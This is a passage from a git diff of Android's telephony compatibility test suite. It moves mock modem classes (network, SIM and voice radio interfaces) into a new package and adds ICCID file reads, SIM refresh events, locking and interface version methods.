+        android.hardware.radio.network.BarringInfo[] barringInfos =
+                new android.hardware.radio.network.BarringInfo[0];
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.getBarringInfoResponse(rsp, cellIdentity, barringInfos);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getBarringInfo from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getCdmaRoamingPreference(int serial) {
+        Log.d(TAG, "getCdmaRoamingPreference");
+        int type = 0;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.getCdmaRoamingPreferenceResponse(rsp, type);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getCdmaRoamingPreference from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getCellInfoList(int serial) {
+        Log.d(TAG, "getCellInfoList");
+        android.hardware.radio.network.CellInfo[] cells;
+
+        synchronized (mCacheUpdateMutex) {
+            cells = mServiceState.getCells();
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getCellInfoListResponse(rsp, cells);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getCellInfoList from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getDataRegistrationState(int serial) {
+        Log.d(TAG, "getDataRegistrationState");
+
+        android.hardware.radio.network.RegStateResult dataRegResponse =
+                new android.hardware.radio.network.RegStateResult();
+
+        dataRegResponse.cellIdentity = new android.hardware.radio.network.CellIdentity();
+        dataRegResponse.reasonForDenial = mReasonForDenial;
+
+        synchronized (mCacheUpdateMutex) {
+            dataRegResponse.regState =
+                    mServiceState.getRegistration(android.hardware.radio.network.Domain.PS);
+            dataRegResponse.rat = mServiceState.getRegistrationRat();
+            if (mServiceState.isInService()) {
+                dataRegResponse.registeredPlmn =
+                        mServiceState.getPrimaryCellOperatorInfo().operatorNumeric;
+            }
+
+            dataRegResponse.cellIdentity = mServiceState.getPrimaryCellIdentity();
+        }
+
+        // TODO: support accessTechnologySpecificInfo
+        dataRegResponse.accessTechnologySpecificInfo =
+                android.hardware.radio.network.AccessTechnologySpecificInfo.noinit(true);
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getDataRegistrationStateResponse(rsp, dataRegResponse);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getRadioCapability from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getImsRegistrationState(int serial) {
+        Log.d(TAG, "getImsRegistrationState");
+        boolean isRegistered = false;
+        int ratFamily = 0;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.getImsRegistrationStateResponse(rsp, isRegistered, ratFamily);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getImsRegistrationState from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getNetworkSelectionMode(int serial) {
+        Log.d(TAG, "getNetworkSelectionMode");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getNetworkSelectionModeResponse(rsp, mNetworkSelectionMode);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getNetworkSelectionMode from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getOperator(int serial) {
+        Log.d(TAG, "getOperator");
+
+        String longName = "";
+        String shortName = "";
+        String numeric = "";
+
+        synchronized (mCacheUpdateMutex) {
+            if (mServiceState.isInService()) {
+                android.hardware.radio.network.OperatorInfo operatorInfo =
+                        mServiceState.getPrimaryCellOperatorInfo();
+                longName = operatorInfo.alphaLong;
+                shortName = operatorInfo.alphaShort;
+                numeric = operatorInfo.operatorNumeric;
+            }
+        }
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getOperatorResponse(rsp, longName, shortName, numeric);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getOperator from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getSignalStrength(int serial) {
+        Log.d(TAG, "getSignalStrength");
+
+        android.hardware.radio.network.SignalStrength signalStrength =
+                new android.hardware.radio.network.SignalStrength();
+
+        synchronized (mCacheUpdateMutex) {
+            if (mServiceState.getIsHomeCamping()
+                    && mRadioState == MockModemConfigInterface.RADIO_STATE_ON) {
+                signalStrength = mServiceState.getSignalStrength();
+            }
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getSignalStrengthResponse(rsp, signalStrength);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getSignalStrength from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getSystemSelectionChannels(int serial) {
+        Log.d(TAG, "getSystemSelectionChannels");
+
+        android.hardware.radio.network.RadioAccessSpecifier[] specifiers =
+                new android.hardware.radio.network.RadioAccessSpecifier[0];
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getSystemSelectionChannelsResponse(rsp, specifiers);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getSystemSelectionChannels from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getVoiceRadioTechnology(int serial) {
+        Log.d(TAG, "getVoiceRadioTechnology");
+        int rat;
+
+        synchronized (mCacheUpdateMutex) {
+            rat = mServiceState.getRegistrationRat();
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getVoiceRadioTechnologyResponse(rsp, rat);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getVoiceRadioTechnology from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getVoiceRegistrationState(int serial) {
+        Log.d(TAG, "getVoiceRegistrationState");
+
+        android.hardware.radio.network.RegStateResult voiceRegResponse =
+                new android.hardware.radio.network.RegStateResult();
+
+        voiceRegResponse.cellIdentity = new android.hardware.radio.network.CellIdentity();
+        voiceRegResponse.reasonForDenial = mReasonForDenial;
+
+        synchronized (mCacheUpdateMutex) {
+            voiceRegResponse.regState =
+                    mServiceState.getRegistration(android.hardware.radio.network.Domain.CS);
+            voiceRegResponse.rat = mServiceState.getRegistrationRat();
+            if (mServiceState.isInService()) {
+                voiceRegResponse.registeredPlmn =
+                        mServiceState.getPrimaryCellOperatorInfo().operatorNumeric;
+            }
+
+            voiceRegResponse.cellIdentity = mServiceState.getPrimaryCellIdentity();
+        }
+
+        // TODO: support accessTechnologySpecificInfo
+        voiceRegResponse.accessTechnologySpecificInfo =
+                android.hardware.radio.network.AccessTechnologySpecificInfo.noinit(true);
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getVoiceRegistrationStateResponse(rsp, voiceRegResponse);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getVoiceRegistrationState from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void isNrDualConnectivityEnabled(int serial) {
+        Log.d(TAG, "isNrDualConnectivityEnabled");
+        boolean isEnabled = false;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.isNrDualConnectivityEnabledResponse(rsp, isEnabled);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to isNrDualConnectivityEnabled from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void responseAcknowledgement() {
+        Log.d(TAG, "responseAcknowledgement");
+    }
+
+    @Override
+    public void setAllowedNetworkTypesBitmap(int serial, int networkTypeBitmap) {
+        Log.d(TAG, "setAllowedNetworkTypesBitmap");
+        boolean isModeChange = false;
+
+        if (mNetworkTypeBitmap != networkTypeBitmap) {
+            mNetworkTypeBitmap = networkTypeBitmap;
+            synchronized (mCacheUpdateMutex) {
+                isModeChange = mServiceState.updateHighestRegisteredRat(mNetworkTypeBitmap);
+            }
+            if (isModeChange) {
+                mHandler.obtainMessage(EVENT_PREFERRED_MODE_CHANGED).sendToTarget();
+            }
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.setAllowedNetworkTypesBitmapResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setAllowedNetworkTypesBitmap from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setBandMode(int serial, int mode) {
+        Log.d(TAG, "setBandMode");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setBandModeResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setBandMode from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setBarringPassword(
+            int serial, String facility, String oldPassword, String newPassword) {
+        Log.d(TAG, "setBarringPassword");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setBarringPasswordResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setBarringPassword from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setCdmaRoamingPreference(int serial, int type) {
+        Log.d(TAG, "setCdmaRoamingPreference");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setCdmaRoamingPreferenceResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setCdmaRoamingPreference from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setCellInfoListRate(int serial, int rate) {
+        Log.d(TAG, "setCellInfoListRate");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setCellInfoListRateResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setCellInfoListRate from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setIndicationFilter(int serial, int indicationFilter) {
+        Log.d(TAG, "setIndicationFilter");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setIndicationFilterResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setIndicationFilter from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setLinkCapacityReportingCriteria(
+            int serial,
+            int hysteresisMs,
+            int hysteresisDlKbps,
+            int hysteresisUlKbps,
+            int[] thresholdsDownlinkKbps,
+            int[] thresholdsUplinkKbps,
+            int accessNetwork) {
+        Log.d(TAG, "setLinkCapacityReportingCriteria");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setLinkCapacityReportingCriteriaResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setLinkCapacityReportingCriteria from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setLocationUpdates(int serial, boolean enable) {
+        Log.d(TAG, "setLocationUpdates");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setLocationUpdatesResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setLocationUpdates from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setNetworkSelectionModeAutomatic(int serial) {
+        Log.d(TAG, "setNetworkSelectionModeAutomatic");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setNetworkSelectionModeAutomaticResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setNetworkSelectionModeAutomatic from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setNetworkSelectionModeManual(int serial, String operatorNumeric, int ran) {
+        Log.d(TAG, "setNetworkSelectionModeManual");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setNetworkSelectionModeManualResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setNetworkSelectionModeManual from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setNrDualConnectivityState(int serial, byte nrDualConnectivityState) {
+        Log.d(TAG, "setNrDualConnectivityState");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setNrDualConnectivityStateResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setNrDualConnectivityState from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setResponseFunctions(
+            IRadioNetworkResponse radioNetworkResponse,
+            IRadioNetworkIndication radioNetworkIndication) {
+        Log.d(TAG, "setResponseFunctions");
+        mRadioNetworkResponse = radioNetworkResponse;
+        mRadioNetworkIndication = radioNetworkIndication;
+        mService.countDownLatch(MockModemService.LATCH_RADIO_INTERFACES_READY);
+    }
+
+    @Override
+    public void setSignalStrengthReportingCriteria(
+            int serial, SignalThresholdInfo[] signalThresholdInfos) {
+        Log.d(TAG, "setSignalStrengthReportingCriteria");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setSignalStrengthReportingCriteriaResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setSignalStrengthReportingCriteria from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setSuppServiceNotifications(int serial, boolean enable) {
+        Log.d(TAG, "setSuppServiceNotifications");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setSuppServiceNotificationsResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setSuppServiceNotifications from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setSystemSelectionChannels(
+            int serial, boolean specifyChannels, RadioAccessSpecifier[] specifiers) {
+        Log.d(TAG, "setSystemSelectionChannels");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setSystemSelectionChannelsResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setSystemSelectionChannels from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void startNetworkScan(int serial, NetworkScanRequest request) {
+        Log.d(TAG, "startNetworkScan");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.startNetworkScanResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to startNetworkScan from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void stopNetworkScan(int serial) {
+        Log.d(TAG, "stopNetworkScan");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.stopNetworkScanResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to stopNetworkScan from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void supplyNetworkDepersonalization(int serial, String netPin) {
+        Log.d(TAG, "supplyNetworkDepersonalization");
+        int remainingRetries = 0;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.supplyNetworkDepersonalizationResponse(rsp, remainingRetries);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to supplyNetworkDepersonalization from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setUsageSetting(int serial, int usageSetting) {
+        Log.d(TAG, "setUsageSetting");
+        int remainingRetries = 0;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.setUsageSettingResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setUsageSetting from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getUsageSetting(int serial) {
+        Log.d(TAG, "getUsageSetting");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioNetworkResponse.getUsageSettingResponse(rsp, -1 /* Invalid value */);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getUsageSetting from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public String getInterfaceHash() {
+        return IRadioNetwork.HASH;
+    }
+
+    @Override
+    public int getInterfaceVersion() {
+        return IRadioNetwork.VERSION;
+    }
+
+    public void unsolNetworkStateChanged() {
+        Log.d(TAG, "unsolNetworkStateChanged");
+
+        // Notify other module
+        notifyServiceStateChange();
+
+        if (mRadioNetworkIndication != null) {
+            try {
+                mRadioNetworkIndication.networkStateChanged(RadioIndicationType.UNSOLICITED);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to invoke networkStateChanged from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioNetworkIndication");
+        }
+    }
+
+    public void unsolCurrentSignalStrength() {
+        Log.d(TAG, "unsolCurrentSignalStrength");
+        if (mRadioState != MockModemConfigInterface.RADIO_STATE_ON) {
+            return;
+        }
+
+        if (mRadioNetworkIndication != null) {
+            android.hardware.radio.network.SignalStrength signalStrength =
+                    new android.hardware.radio.network.SignalStrength();
+
+            synchronized (mCacheUpdateMutex) {
+                signalStrength = mServiceState.getSignalStrength();
+            }
+
+            try {
+                mRadioNetworkIndication.currentSignalStrength(
+                        RadioIndicationType.UNSOLICITED, signalStrength);
+            } catch (RemoteException ex) {
+                Log.e(
+                        TAG,
+                        "Failed to invoke currentSignalStrength change from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioNetworkIndication");
+        }
+    }
+
+    public void unsolCellInfoList() {
+        Log.d(TAG, "unsolCellInfoList");
+
+        if (mRadioState != MockModemConfigInterface.RADIO_STATE_ON) {
+            return;
+        }
+
+        if (mRadioNetworkIndication != null) {
+            android.hardware.radio.network.CellInfo[] cells;
+
+            synchronized (mCacheUpdateMutex) {
+                cells = mServiceState.getCells();
+            }
+            try {
+                mRadioNetworkIndication.cellInfoList(RadioIndicationType.UNSOLICITED, cells);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to invoke cellInfoList change from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioNetworkIndication");
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IRadioSimImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioSimImpl.java
similarity index 79%
rename from tests/tests/telephony/current/src/android/telephony/cts/IRadioSimImpl.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioSimImpl.java
index 08980a3..7863d53 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/IRadioSimImpl.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioSimImpl.java
@@ -14,7 +14,11 @@
  * limitations under the License.
  */
 
-package android.telephony.cts;
+package android.telephony.mockmodem;
+
+import static android.telephony.mockmodem.MockSimService.COMMAND_GET_RESPONSE;
+import static android.telephony.mockmodem.MockSimService.COMMAND_READ_BINARY;
+import static android.telephony.mockmodem.MockSimService.EF_ICCID;
 
 import android.hardware.radio.RadioError;
 import android.hardware.radio.RadioIndicationType;
@@ -23,18 +27,19 @@
 import android.hardware.radio.sim.IRadioSim;
 import android.hardware.radio.sim.IRadioSimIndication;
 import android.hardware.radio.sim.IRadioSimResponse;
+import android.hardware.radio.sim.SimRefreshResult;
 import android.os.AsyncResult;
 import android.os.Handler;
 import android.os.Message;
 import android.os.RemoteException;
-import android.telephony.cts.MockSimService.SimAppData;
+import android.telephony.mockmodem.MockModemConfigBase.SimInfoChangedResult;
+import android.telephony.mockmodem.MockSimService.SimAppData;
 import android.util.Log;
 
 import java.util.ArrayList;
 
 public class IRadioSimImpl extends IRadioSim.Stub {
     private static final String TAG = "MRSIM";
-
     private final MockModemService mService;
     private IRadioSimResponse mRadioSimResponse;
     private IRadioSimIndication mRadioSimIndication;
@@ -46,6 +51,7 @@
     // ***** Events
     static final int EVENT_SIM_CARD_STATUS_CHANGED = 1;
     static final int EVENT_SIM_APP_DATA_CHANGED = 2;
+    static final int EVENT_SIM_INFO_CHANGED = 3;
 
     // ***** Cache of modem attributes/status
     private int mNumOfLogicalSim;
@@ -71,6 +77,10 @@
         // Register events
         sMockModemConfigInterfaces[mSubId].registerForSimAppDataChanged(
                 mHandler, EVENT_SIM_APP_DATA_CHANGED, null);
+
+        // Register events
+        sMockModemConfigInterfaces[mSubId].registerForSimInfoChanged(
+                mHandler, EVENT_SIM_INFO_CHANGED, null);
     }
 
     /** Handler class to handle callbacks */
@@ -106,6 +116,30 @@
                             Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
                         }
                         break;
+
+                    case EVENT_SIM_INFO_CHANGED:
+                        ar = (AsyncResult) msg.obj;
+                        if (ar != null && ar.exception == null) {
+                            SimInfoChangedResult simInfoChangeResult =
+                                    (SimInfoChangedResult) ar.result;
+                            Log.d(TAG, "Received EVENT_SIM_INFO_CHANGED: " + simInfoChangeResult);
+                            SimRefreshResult simRefreshResult = new SimRefreshResult();
+                            switch (simInfoChangeResult.mSimInfoType) {
+                                case SimInfoChangedResult.SIM_INFO_TYPE_MCC_MNC:
+                                case SimInfoChangedResult.SIM_INFO_TYPE_IMSI:
+                                    if (simRefreshResult != null) {
+                                        simRefreshResult.type =
+                                                SimRefreshResult.TYPE_SIM_FILE_UPDATE;
+                                        simRefreshResult.efId = simInfoChangeResult.mEfId;
+                                        simRefreshResult.aid = simInfoChangeResult.mAid;
+                                        simRefresh(simRefreshResult);
+                                    }
+                                    break;
+                            }
+                        } else {
+                            Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
+                        }
+                        break;
                 }
             }
         }
@@ -244,26 +278,28 @@
         boolean isFacilitySupport = true;
         int responseData = -1;
 
-        // TODO: check service class
-        for (simAppIdx = 0;
-                simAppIdx < numOfSimApp && isFacilitySupport && !isHandled;
-                simAppIdx++) {
-            switch (facility) {
-                case "FD": // FDN status query
-                    if (appId.equals(mSimAppList.get(simAppIdx).getAid())) {
-                        responseData = mSimAppList.get(simAppIdx).getFdnStatus();
-                        isHandled = true;
-                    }
-                    break;
-                case "SC": // PIN1 status query
-                    if (appId.equals(mSimAppList.get(simAppIdx).getAid())) {
-                        responseData = mSimAppList.get(simAppIdx).getPin1State();
-                        isHandled = true;
-                    }
-                    break;
-                default:
-                    isFacilitySupport = false;
-                    break;
+        synchronized (mCacheUpdateMutex) {
+            // TODO: check service class
+            for (simAppIdx = 0;
+                    simAppIdx < numOfSimApp && isFacilitySupport && !isHandled;
+                    simAppIdx++) {
+                switch (facility) {
+                    case "FD": // FDN status query
+                        if (appId.equals(mSimAppList.get(simAppIdx).getAid())) {
+                            responseData = mSimAppList.get(simAppIdx).getFdnStatus();
+                            isHandled = true;
+                        }
+                        break;
+                    case "SC": // PIN1 status query
+                        if (appId.equals(mSimAppList.get(simAppIdx).getAid())) {
+                            responseData = mSimAppList.get(simAppIdx).getPin1State();
+                            isHandled = true;
+                        }
+                        break;
+                    default:
+                        isFacilitySupport = false;
+                        break;
+                }
             }
         }
 
@@ -311,10 +347,14 @@
         int simAppIdx;
         boolean isHandled;
 
-        for (simAppIdx = 0, isHandled = false; simAppIdx < numOfSimApp && !isHandled; simAppIdx++) {
-            if (aid.equals(mSimAppList.get(simAppIdx).getAid())) {
-                imsi = mSimAppList.get(simAppIdx).getImsi();
-                isHandled = true;
+        synchronized (mCacheUpdateMutex) {
+            for (simAppIdx = 0, isHandled = false;
+                    simAppIdx < numOfSimApp && !isHandled;
+                    simAppIdx++) {
+                if (aid.equals(mSimAppList.get(simAppIdx).getAid())) {
+                    imsi = mSimAppList.get(simAppIdx).getImsi();
+                    isHandled = true;
+                }
             }
         }
 
@@ -371,14 +411,117 @@
         }
     }
 
+    private String encodeBcdString(String str) {
+        StringBuffer bcdString = new StringBuffer();
+
+        if (str.length() % 2 != 0) {
+            Log.d(TAG, "Invalid string(" + str + ") for Bcd format");
+            return "";
+        }
+
+        for (int i = 0; i < str.length(); i += 2) {
+            bcdString.append(str.substring(i + 1, i + 2));
+            bcdString.append(str.substring(i, i + 1));
+        }
+
+        return bcdString.toString();
+    }
+
+    private int getIccIoResult(
+            android.hardware.radio.sim.IccIoResult iccIoResult,
+            int command,
+            int fileId,
+            String path,
+            int p1,
+            int p2,
+            int p3,
+            String aid) {
+        int numOfSimApp = mSimAppList.size();
+        int simAppIdx;
+        boolean foundAid;
+        int responseError = RadioError.GENERIC_FAILURE;
+
+        if (iccIoResult == null) {
+            return responseError;
+        }
+
+        synchronized (mCacheUpdateMutex) {
+            for (simAppIdx = 0, foundAid = false; simAppIdx < numOfSimApp; simAppIdx++) {
+                if (aid.equals(mSimAppList.get(simAppIdx).getAid())) {
+                    foundAid = true;
+                    break;
+                }
+            }
+
+            if (!foundAid) {
+                Log.e(TAG, "Not support sim application aid = " + aid);
+                iccIoResult.sw1 = 0x6A;
+                iccIoResult.sw2 = 0x82;
+            } else {
+                switch (fileId) {
+                    case EF_ICCID:
+                        if (command == COMMAND_READ_BINARY) {
+                            String bcdIccid =
+                                    encodeBcdString(mSimAppList.get(simAppIdx).getIccid());
+                            iccIoResult.simResponse = bcdIccid;
+                            Log.d(TAG, "Get IccIo result: ICCID = " + iccIoResult.simResponse);
+                            iccIoResult.sw1 = 0x90;
+                            responseError = RadioError.NONE;
+                        } else if (command == COMMAND_GET_RESPONSE) {
+                            iccIoResult.simResponse = mSimAppList.get(simAppIdx).getIccidInfo();
+                            Log.d(TAG, "Get IccIo result: ICCID = " + iccIoResult.simResponse);
+                            iccIoResult.sw1 = 0x90;
+                            responseError = RadioError.NONE;
+                        } else {
+                            Log.d(
+                                    TAG,
+                                    "Command("
+                                            + command
+                                            + ") not support for file id = 0x"
+                                            + Integer.toHexString(fileId));
+                            iccIoResult.sw1 = 0x6A;
+                            iccIoResult.sw2 = 0x82;
+                        }
+                        break;
+                    default:
+                        Log.d(TAG, "Not find EF file id = 0x" + Integer.toHexString(fileId));
+                        iccIoResult.sw1 = 0x6A;
+                        iccIoResult.sw2 = 0x82;
+                        break;
+                }
+            }
+        }
+
+        return responseError;
+    }
+
     @Override
     public void iccIoForApp(int serial, android.hardware.radio.sim.IccIo iccIo) {
         Log.d(TAG, "iccIoForApp");
-        // TODO: cache value
+        int responseError = RadioError.NONE;
         android.hardware.radio.sim.IccIoResult iccIoResult =
                 new android.hardware.radio.sim.IccIoResult();
 
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        switch (iccIo.command) {
+            case COMMAND_READ_BINARY:
+            case COMMAND_GET_RESPONSE:
+                responseError =
+                        getIccIoResult(
+                                iccIoResult,
+                                iccIo.command,
+                                iccIo.fileId,
+                                iccIo.path,
+                                iccIo.p1,
+                                iccIo.p2,
+                                iccIo.p3,
+                                iccIo.aid);
+                break;
+            default:
+                responseError = RadioError.REQUEST_NOT_SUPPORTED;
+                break;
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, responseError);
         try {
             mRadioSimResponse.iccIoForAppResponse(rsp, iccIoResult);
         } catch (RemoteException ex) {
@@ -739,7 +882,7 @@
         }
     }
 
-    public void simRefresh(android.hardware.radio.sim.SimRefreshResult refreshResult) {
+    public void simRefresh(SimRefreshResult refreshResult) {
         Log.d(TAG, "simRefresh");
 
         if (mRadioSimIndication != null) {
@@ -838,4 +981,14 @@
             Log.e(TAG, "null mRadioSimIndication");
         }
     }
+
+    @Override
+    public String getInterfaceHash() {
+        return IRadioSim.HASH;
+    }
+
+    @Override
+    public int getInterfaceVersion() {
+        return IRadioSim.VERSION;
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IRadioVoiceImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioVoiceImpl.java
similarity index 98%
rename from tests/tests/telephony/current/src/android/telephony/cts/IRadioVoiceImpl.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioVoiceImpl.java
index 4a415cd..1b525fd 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/IRadioVoiceImpl.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioVoiceImpl.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.telephony.cts;
+package android.telephony.mockmodem;
 
 import android.hardware.radio.RadioError;
 import android.hardware.radio.RadioIndicationType;
@@ -749,4 +749,14 @@
             Log.e(TAG, "null mRadioVoiceIndication");
         }
     }
+
+    @Override
+    public String getInterfaceHash() {
+        return IRadioVoice.HASH;
+    }
+
+    @Override
+    public int getInterfaceVersion() {
+        return IRadioVoice.VERSION;
+    }
 }
